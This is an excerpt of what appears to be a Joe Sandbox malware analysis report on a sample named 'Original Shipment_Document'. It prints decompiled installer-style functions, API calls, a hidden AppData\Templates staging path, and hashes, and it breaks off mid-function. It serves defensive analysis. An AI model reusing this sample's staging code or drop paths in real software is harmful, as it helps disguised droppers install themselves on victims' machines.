0x0040279e
0x0040279e
0x0040279e
0x004027a1
0x004027a6
0x004027a9
0x00000000
0x00000000
0x004027ab
0x004027ae
0x004027b6
0x004027c2
0x004027d0
0x00000000
0x004027d2
0x00000000
0x004027d2
0x00000000
0x004027d0
0x0040279e
0x00402804
0x00402807
0x00000000
0x00402809
0x0040280e
0x0040284f
0x00402871
0x00402878
0x0040285d
0x0040285d
0x00402860
0x00402863
0x00402866
0x00402866
0x00000000
0x00402817
0x00402817
0x0040281a
0x0040281d
0x00402823
0x00402827
0x0040282a
0x00000000
0x00000000
0x00000000
0x00000000
0x0040282a
0x0040280e
0x00402807
0x0040277f
0x0040276b
0x00402760
0x00000000
0x0040282c
0x0040282c
0x0040282f
0x00402838
0x00000000
0x0040272f
0x0040271a
0x00402c33
0x00402c39

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 00402758
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402793
SetFilePointer.KERNELBASE(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004027B6
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004027CC

Part of subcall function 004060D8: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 004060EE

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 00402878

Strings

9, xrefs: 0040273B

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 236766759de96d2d3aaf4f5caab781f4252851e9d444e3fd407b0b900c44e253
Instruction ID: 3c27e7501abded1006c2f30e54a373b5f9dac3b1129e645fb880415469f2e5e7
Opcode Fuzzy Hash: 236766759de96d2d3aaf4f5caab781f4252851e9d444e3fd407b0b900c44e253
Instruction Fuzzy Hash: 2351FA75D00219AADF20DF95CA89AAEBB79FF04304F10817BE541B62D0D7B49D82CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00406864 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406864(intOrPtr _a4) {
				short _v576;
				signed int _t13;
				struct HINSTANCE__* _t17;
				signed int _t19;
				void* _t24;

				_t13 = GetSystemDirectoryW( &_v576, 0x104);
				if(_t13 > 0x104) {
					_t13 = 0;
				}
				if(_t13 == 0 ||  *((short*)(_t24 + _t13 * 2 - 0x23e)) == 0x5c) {
					_t19 = 1;
				} else {
					_t19 = 0;
				}
				wsprintfW(_t24 + _t13 * 2 - 0x23c, L"%s%S.dll", 0x40a014 + _t19 * 2, _a4);
				_t17 = LoadLibraryExW( &_v576, 0, 8); // executed
				return _t17;
			}

0x0040687b
0x00406884
0x00406886
0x00406886
0x0040688a
0x0040689d
0x00406897
0x00406897
0x00406897
0x004068b6
0x004068ca
0x004068d1

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 0040687B
wsprintfW.USER32 ref: 004068B6
LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 004068CA

Strings

%s%S.dll, xrefs: 004068B0
UXTHEME, xrefs: 0040686D
\, xrefs: 0040688C

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 70474fd7a4f9c0ba06a591290262a653731ba096fd3a0e6ffa6d52d828e9795f
Instruction ID: a3f2ba33ef282063e8bef789480649f163c4345fe71bbebd74fcccbb96bf8ece
Opcode Fuzzy Hash: 70474fd7a4f9c0ba06a591290262a653731ba096fd3a0e6ffa6d52d828e9795f
Instruction Fuzzy Hash: 8DF0F671511119ABCB14BF64ED0DF9B376CAB00305F51447AAA46F10D0EB7CAA69CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00405A38 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00405A38(WCHAR* _a4) {
				struct _SECURITY_ATTRIBUTES _v16;
				struct _SECURITY_DESCRIPTOR _v36;
				int _t22;
				long _t23;

				_v36.Sbz1 = _v36.Sbz1 & 0x00000000;
				_v36.Owner = 0x4083f8;
				_v36.Group = 0x4083f8;
				_v36.Sacl = _v36.Sacl & 0x00000000;
				_v16.bInheritHandle = _v16.bInheritHandle & 0x00000000;
				_v16.lpSecurityDescriptor =  &_v36;
				_v36.Revision = 1;
				_v36.Control = 4;
				_v36.Dacl = 0x4083e8;
				_v16.nLength = 0xc;
				_t22 = CreateDirectoryW(_a4,  &_v16); // executed
				if(_t22 != 0) {
					L1:
					return 0;
				}
				_t23 = GetLastError();
				if(_t23 == 0xb7) {
					if(SetFileSecurityW(_a4, 0x80000007,  &_v36) != 0) {
						goto L1;
					}
					return GetLastError();
				}
				return _t23;
			}

0x00405a43
0x00405a47
0x00405a4a
0x00405a50
0x00405a54
0x00405a58
0x00405a60
0x00405a67
0x00405a6d
0x00405a74
0x00405a7b
0x00405a83
0x00405a85
0x00000000
0x00405a85
0x00405a8f
0x00405a96
0x00405aac
0x00000000
0x00000000
0x00000000
0x00405aae
0x00405ab2

APIs

CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405A7B
GetLastError.KERNEL32 ref: 00405A8F
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 00405AA4
GetLastError.KERNEL32 ref: 00405AAE

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405A5E

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 3449924974-3355392842
Opcode ID: 79915fdb32ce531948ad707932686e2b3240d3ac97543659e1c0f9af800e449c
Instruction ID: 227e2837d2f0abbefd05ded2a29fab346f6aadb36d837cb996d7b4b6dfe3b4b1
Opcode Fuzzy Hash: 79915fdb32ce531948ad707932686e2b3240d3ac97543659e1c0f9af800e449c
Instruction Fuzzy Hash: A7010C71D00219EEDF009B90D948BEFBBB8EB04314F00413AD945B6181D77896488FE9

Uniqueness

Uniqueness Score: -1.00%

Function 718D1817 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 88%

			E718D1817(void* __edx, void* __edi, void* __esi, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				void _v36;
				char _v136;
				struct HINSTANCE__* _t37;
				intOrPtr _t42;
				void* _t48;
				void* _t49;
				void* _t50;
				void* _t54;
				intOrPtr _t57;
				signed int _t61;
				signed int _t63;
				void* _t67;
				void* _t68;
				void* _t72;
				void* _t76;

				_t76 = __esi;
				_t68 = __edi;
				_t67 = __edx;
				 *0x718d506c = _a8;
				 *0x718d5070 = _a16;
				 *0x718d5074 = _a12;
				 *((intOrPtr*)(_a20 + 0xc))( *0x718d5048, E718D1651);
				_push(1); // executed
				_t37 = E718D1BFF(); // executed
				_t54 = _t37;
				if(_t54 == 0) {
					L28:
					return _t37;
				} else {
					if( *((intOrPtr*)(_t54 + 4)) != 1) {
						E718D243E(_t54);
					}
					_push(_t54);
					E718D2480(_t67);
					_t57 =  *((intOrPtr*)(_t54 + 4));
					if(_t57 == 0xffffffff) {
						L14:
						if(( *(_t54 + 0x1010) & 0x00000004) == 0) {
							if( *((intOrPtr*)(_t54 + 4)) == 0) {
								_push(_t54);
								_t37 = E718D2655();
							} else {
								_push(_t76);
								_push(_t68);
								_t61 = 8;
								_t13 = _t54 + 0x1018; // 0x1018
								memcpy( &_v36, _t13, _t61 << 2);
								_t42 = E718D1666(_t54,  &_v136);
								 *(_t54 + 0x1034) =  *(_t54 + 0x1034) & 0x00000000;
								_t18 = _t54 + 0x1018; // 0x1018
								_t72 = _t18;
								_push(_t54);
								 *((intOrPtr*)(_t54 + 0x1020)) = _t42;
								 *_t72 = 4;
								E718D2655();
								_t63 = 8;
								_t37 = memcpy(_t72,  &_v36, _t63 << 2);
							}
						} else {
							_push(_t54);
							E718D2655();
							_t37 = GlobalFree(E718D1312(E718D1654(_t54)));
						}
						if( *((intOrPtr*)(_t54 + 4)) != 1) {
							_t37 = E718D2618(_t54);
							if(( *(_t54 + 0x1010) & 0x00000040) != 0 &&  *_t54 == 1) {
								_t37 =  *(_t54 + 0x1008);
								if(_t37 != 0) {
									_t37 = FreeLibrary(_t37);
								}
							}
							if(( *(_t54 + 0x1010) & 0x00000020) != 0) {
								_t37 = E718D15DD( *0x718d5068);
							}
						}
						if(( *(_t54 + 0x1010) & 0x00000002) != 0) {
							goto L28;
						} else {
							return GlobalFree(_t54);
						}
					}
					_t48 =  *_t54;
					if(_t48 == 0) {
						if(_t57 != 1) {
							goto L14;
						}
						E718D2E23(_t54);
						L12:
						_t54 = _t48;
						L13:
						goto L14;
					}
					_t49 = _t48 - 1;
					if(_t49 == 0) {
						L8:
						_t48 = E718D2B98(_t57, _t54); // executed
						goto L12;
					}
					_t50 = _t49 - 1;
					if(_t50 == 0) {
						E718D2810(_t54);
						goto L13;
					}
					if(_t50 != 1) {
						goto L14;
					}
					goto L8;
				}
			}

0x718d1817
0x718d1817
0x718d1817
0x718d1824
0x718d182c
0x718d1839
0x718d1847
0x718d184a
0x718d184c
0x718d1851
0x718d1856
0x718d1978
0x718d1978
0x718d185c
0x718d1860
0x718d1863
0x718d1868
0x718d1869
0x718d186a
0x718d1870
0x718d1876
0x718d18a6
0x718d18ad
0x718d18d1
0x718d191e
0x718d191f
0x718d18d3
0x718d18d3
0x718d18d4
0x718d18dd
0x718d18de
0x718d18e8
0x718d18eb
0x718d18f0
0x718d18f7
0x718d18f7
0x718d18fd
0x718d18fe
0x718d1904
0x718d190a
0x718d1917
0x718d1918
0x718d191b
0x718d18af
0x718d18af
0x718d18b0
0x718d18c5
0x718d18c5
0x718d1929
0x718d192c
0x718d1939
0x718d1940
0x718d1948
0x718d194b
0x718d194b
0x718d1948
0x718d1958
0x718d1960
0x718d1965
0x718d1958
0x718d196d
0x00000000
0x718d196f
0x00000000
0x718d1970
0x718d196d
0x718d187a
0x718d187d
0x718d189b
0x00000000
0x00000000
0x718d189e
0x718d18a3
0x718d18a3
0x718d18a5
0x00000000
0x718d18a5
0x718d187f
0x718d1880
0x718d1888
0x718d1889
0x00000000
0x718d1889
0x718d1882
0x718d1883
0x718d1891
0x00000000
0x718d1891
0x718d1886
0x00000000
0x00000000
0x00000000
0x718d1886

APIs

Part of subcall function 718D1BFF: GlobalFree.KERNEL32(?), ref: 718D1E74
Part of subcall function 718D1BFF: GlobalFree.KERNEL32(?), ref: 718D1E79
Part of subcall function 718D1BFF: GlobalFree.KERNEL32(?), ref: 718D1E7E

GlobalFree.KERNEL32(00000000), ref: 718D18C5
FreeLibrary.KERNEL32(?), ref: 718D194B
GlobalFree.KERNEL32(00000000), ref: 718D1970

Part of subcall function 718D243E: GlobalAlloc.KERNEL32(00000040,?), ref: 718D246F

Part of subcall function 718D2810: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,718D1896,00000000), ref: 718D28E0

Part of subcall function 718D1666: wsprintfW.USER32 ref: 718D1694

Strings

, xrefs: 718D1951

Memory Dump Source

Source File: 00000001.00000002.185991106331.00000000718D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 718D0000, based on PE: true

Associated: 00000001.00000002.185991032622.00000000718D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.185991182881.00000000718D4000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.185991257714.00000000718D6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_718d0000_Original Shipment_Document.jbxd

Similarity

API ID: Global$Free$Alloc$Librarywsprintf
String ID:
API String ID: 3962662361-3916222277
Opcode ID: 98370992611ee97417968442cae164ddefe6514a8df6464d240ffebae1108c8d
Instruction ID: 26d3112d9c4d949c0553b57601da498fa3c2543f9523969bcd37e3b167f24400
Opcode Fuzzy Hash: 98370992611ee97417968442cae164ddefe6514a8df6464d240ffebae1108c8d
Instruction Fuzzy Hash: 0541A272900346ABEB11DF79D886B953BBFBF0C314F548565EEC6AA086DB74C484CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00406026 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406026(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				intOrPtr _v8;
				short _v12;
				short _t12;
				intOrPtr _t13;
				signed int _t14;
				WCHAR* _t17;
				signed int _t19;
				signed short _t23;
				WCHAR* _t26;

				_t26 = _a4;
				_t23 = 0x64;
				while(1) {
					_t12 =  *L"nsa"; // 0x73006e
					_t23 = _t23 - 1;
					_v12 = _t12;
					_t13 =  *0x40a57c; // 0x61
					_v8 = _t13;
					_t14 = GetTickCount();
					_t19 = 0x1a;
					_v8 = _v8 + _t14 % _t19;
					_t17 = GetTempFileNameW(_a8,  &_v12, 0, _t26); // executed
					if(_t17 != 0) {
						break;
					}
					if(_t23 != 0) {
						continue;
					} else {
						 *_t26 =  *_t26 & _t23;
					}
					L4:
					return _t17;
				}
				_t17 = _t26;
				goto L4;
			}

0x0040602c
0x00406032
0x00406033
0x00406033
0x00406038
0x00406039
0x0040603c
0x00406041
0x00406044
0x0040604e
0x0040605b
0x0040605f
0x00406067
0x00000000
0x00000000
0x0040606b
0x00000000
0x0040606d
0x0040606d
0x0040606d
0x00406070
0x00406073
0x00406073
0x00406076
0x00000000

APIs

GetTickCount.KERNEL32 ref: 00406044
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,?,004034F5,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004037DA), ref: 0040605F

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040602B
nsa, xrefs: 00406033

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-944333549
Opcode ID: 418a87fb760587bef7583f4f3acae06d17b3011fc99645d3e11ea5bfcaa5fca8
Instruction ID: f6a7e3e28ef10c8b5a356f390c602f787c019cac788ca5903e6ee53affe9a5d3
Opcode Fuzzy Hash: 418a87fb760587bef7583f4f3acae06d17b3011fc99645d3e11ea5bfcaa5fca8
Instruction Fuzzy Hash: 92F09076B40204BBEB00CF59ED05E9EB7BCEB95750F11803AEA05F7140E6B09D648768

Uniqueness

Uniqueness Score: -1.00%

Function 004015C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E004015C1(short __ebx, void* __eflags) {
				void* _t17;
				int _t23;
				void* _t25;
				signed char _t26;
				short _t28;
				short _t31;
				short* _t34;
				void* _t36;

				_t28 = __ebx;
				 *(_t36 + 8) = E00402DA6(0xfffffff0);
				_t17 = E00405E81(_t16);
				_t32 = _t17;
				if(_t17 != __ebx) {
					do {
						_t34 = E00405E03(_t32, 0x5c);
						_t31 =  *_t34;
						 *_t34 = _t28;
						if(_t31 != _t28) {
							L5:
							_t25 = E00405AB5( *(_t36 + 8));
						} else {
							_t42 =  *((intOrPtr*)(_t36 - 0x28)) - _t28;
							if( *((intOrPtr*)(_t36 - 0x28)) == _t28 || E00405AD2(_t42) == 0) {
								goto L5;
							} else {
								_t25 = E00405A38( *(_t36 + 8)); // executed
							}
						}
						if(_t25 != _t28) {
							if(_t25 != 0xb7) {
								L9:
								 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
							} else {
								_t26 = GetFileAttributesW( *(_t36 + 8)); // executed
								if((_t26 & 0x00000010) == 0) {
									goto L9;
								}
							}
						}
						 *_t34 = _t31;
						_t32 = _t34 + 2;
					} while (_t31 != _t28);
				}
				if( *((intOrPtr*)(_t36 - 0x2c)) == _t28) {
					_push(0xfffffff5);
					E00401423();
				} else {
					E00401423(0xffffffe6);
					E00406507(L"C:\\Users\\Arthur\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\timelrer\\Tdlen",  *(_t36 + 8));
					_t23 = SetCurrentDirectoryW( *(_t36 + 8)); // executed
					if(_t23 == 0) {
						 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
					}
				}
				 *0x42a2a8 =  *0x42a2a8 +  *((intOrPtr*)(_t36 - 4));
				return 0;
			}

0x004015c1
0x004015c9
0x004015cc
0x004015d1
0x004015d5
0x004015d7
0x004015df
0x004015e1
0x004015e4
0x004015ea
0x00401604
0x00401607
0x004015ec
0x004015ec
0x004015ef
0x00000000
0x004015fa
0x004015fd
0x004015fd
0x004015ef
0x0040160e
0x00401615
0x00401624
0x00401624
0x00401617
0x0040161a
0x00401622
0x00000000
0x00000000
0x00401622
0x00401615
0x00401627
0x0040162b
0x0040162c
0x004015d7
0x00401634
0x00401663
0x004022f1
0x00401636
0x00401638
0x00401645
0x0040164d
0x00401655
0x0040165b
0x0040165b
0x00401655
0x00402c2d
0x00402c39

APIs

Part of subcall function 00405E81: CharNextW.USER32(?,?,00425F10,?,00405EF5,00425F10,00425F10, 4|w,?,C:\Users\user\AppData\Local\Temp\,00405C33,?,777C3420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405E8F
Part of subcall function 00405E81: CharNextW.USER32(00000000), ref: 00405E94
Part of subcall function 00405E81: CharNextW.USER32(00000000), ref: 00405EAC

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 00405A38: CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405A7B

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\timelrer\Tdlen,?,00000000,000000F0), ref: 0040164D

Strings

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\timelrer\Tdlen, xrefs: 00401640

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\timelrer\Tdlen
API String ID: 1892508949-3451877643
Opcode ID: d41762341c72ae5ef60e9dee6b9a76731464eaafda88a5e7a8ce52a2a1f15c18
Instruction ID: 5432bfb841e0ad51ec8b230ce72dc3ef5087fba7ddd62730da8486a2a7133ac3
Opcode Fuzzy Hash: d41762341c72ae5ef60e9dee6b9a76731464eaafda88a5e7a8ce52a2a1f15c18
Instruction Fuzzy Hash: 0F110331504100EBCF216FA0CD40A9F36A0EF14328B24093BF941B12F1DA3E4A829B8D

Uniqueness

Uniqueness Score: -1.00%

Function 00407033 Relevance: 5.2, APIs: 4, Instructions: 236
COMMON

Download Yara Rule

C-Code - Quality: 99%

			E00407033() {
				signed int _t530;
				void _t537;
				signed int _t538;
				signed int _t539;
				unsigned short _t569;
				signed int _t579;
				signed int _t607;
				void* _t627;
				signed int _t628;
				signed int _t635;
				signed int* _t643;
				void* _t644;

				L0:
				while(1) {
					L0:
					_t530 =  *(_t644 - 0x30);
					if(_t530 >= 4) {
					}
					 *(_t644 - 0x40) = 6;
					 *(_t644 - 0x7c) = 0x19;
					 *((intOrPtr*)(_t644 - 0x58)) = (_t530 << 7) +  *(_t644 - 4) + 0x360;
					while(1) {
						L145:
						 *(_t644 - 0x50) = 1;
						 *(_t644 - 0x48) =  *(_t644 - 0x40);
						while(1) {
							L149:
							if( *(_t644 - 0x48) <= 0) {
								goto L155;
							}
							L150:
							_t627 =  *(_t644 - 0x50) +  *(_t644 - 0x50);
							_t643 = _t627 +  *((intOrPtr*)(_t644 - 0x58));
							 *(_t644 - 0x54) = _t643;
							_t569 =  *_t643;
							_t635 = _t569 & 0x0000ffff;
							_t607 = ( *(_t644 - 0x10) >> 0xb) * _t635;
							if( *(_t644 - 0xc) >= _t607) {
								 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t607;
								 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t607;
								_t628 = _t627 + 1;
								 *_t643 = _t569 - (_t569 >> 5);
								 *(_t644 - 0x50) = _t628;
							} else {
								 *(_t644 - 0x10) = _t607;
								 *(_t644 - 0x50) =  *(_t644 - 0x50) << 1;
								 *_t643 = (0x800 - _t635 >> 5) + _t569;
							}
							if( *(_t644 - 0x10) >= 0x1000000) {
								L148:
								_t487 = _t644 - 0x48;
								 *_t487 =  *(_t644 - 0x48) - 1;
								L149:
								if( *(_t644 - 0x48) <= 0) {
									goto L155;
								}
								goto L150;
							} else {
								L154:
								L146:
								if( *(_t644 - 0x6c) == 0) {
									L169:
									 *(_t644 - 0x88) = 0x18;
									L170:
									_t579 = 0x22;
									memcpy( *(_t644 - 0x90), _t644 - 0x88, _t579 << 2);
									_t539 = 0;
									L172:
									return _t539;
								}
								L147:
								 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
								 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
								_t484 = _t644 - 0x70;
								 *_t484 =  &(( *(_t644 - 0x70))[1]);
								 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
								goto L148;
							}
							L155:
							_t537 =  *(_t644 - 0x7c);
							 *((intOrPtr*)(_t644 - 0x44)) =  *(_t644 - 0x50) - (1 <<  *(_t644 - 0x40));
							while(1) {
								L140:
								 *(_t644 - 0x88) = _t537;
								while(1) {
									L1:
									_t538 =  *(_t644 - 0x88);
									if(_t538 > 0x1c) {
										break;
									}
									L2:
									switch( *((intOrPtr*)(_t538 * 4 +  &M004074A1))) {
										case 0:
											L3:
											if( *(_t644 - 0x6c) == 0) {
												goto L170;
											}
											L4:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											_t538 =  *( *(_t644 - 0x70));
											if(_t538 > 0xe1) {
												goto L171;
											}
											L5:
											_t542 = _t538 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t581);
											_push(9);
											_pop(_t582);
											_t638 = _t542 / _t581;
											_t544 = _t542 % _t581 & 0x000000ff;
											asm("cdq");
											_t633 = _t544 % _t582 & 0x000000ff;
											 *(_t644 - 0x3c) = _t633;
											 *(_t644 - 0x1c) = (1 << _t638) - 1;
											 *((intOrPtr*)(_t644 - 0x18)) = (1 << _t544 / _t582) - 1;
											_t641 = (0x300 << _t633 + _t638) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t644 - 0x78))) {
												L10:
												if(_t641 == 0) {
													L12:
													 *(_t644 - 0x48) =  *(_t644 - 0x48) & 0x00000000;
													 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t641 = _t641 - 1;
													 *((short*)( *(_t644 - 4) + _t641 * 2)) = 0x400;
												} while (_t641 != 0);
												goto L12;
											}
											L6:
											if( *(_t644 - 4) != 0) {
												GlobalFree( *(_t644 - 4)); // executed
											}
											_t538 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t644 - 4) = _t538;
											if(_t538 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t644 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t644 - 0x6c);
											if( *(_t644 - 0x6c) == 0) {
												L157:
												 *(_t644 - 0x88) = 1;
												goto L170;
											}
											L14:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x40) =  *(_t644 - 0x40) | ( *( *(_t644 - 0x70)) & 0x000000ff) <<  *(_t644 - 0x48) << 0x00000003;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											_t45 = _t644 - 0x48;
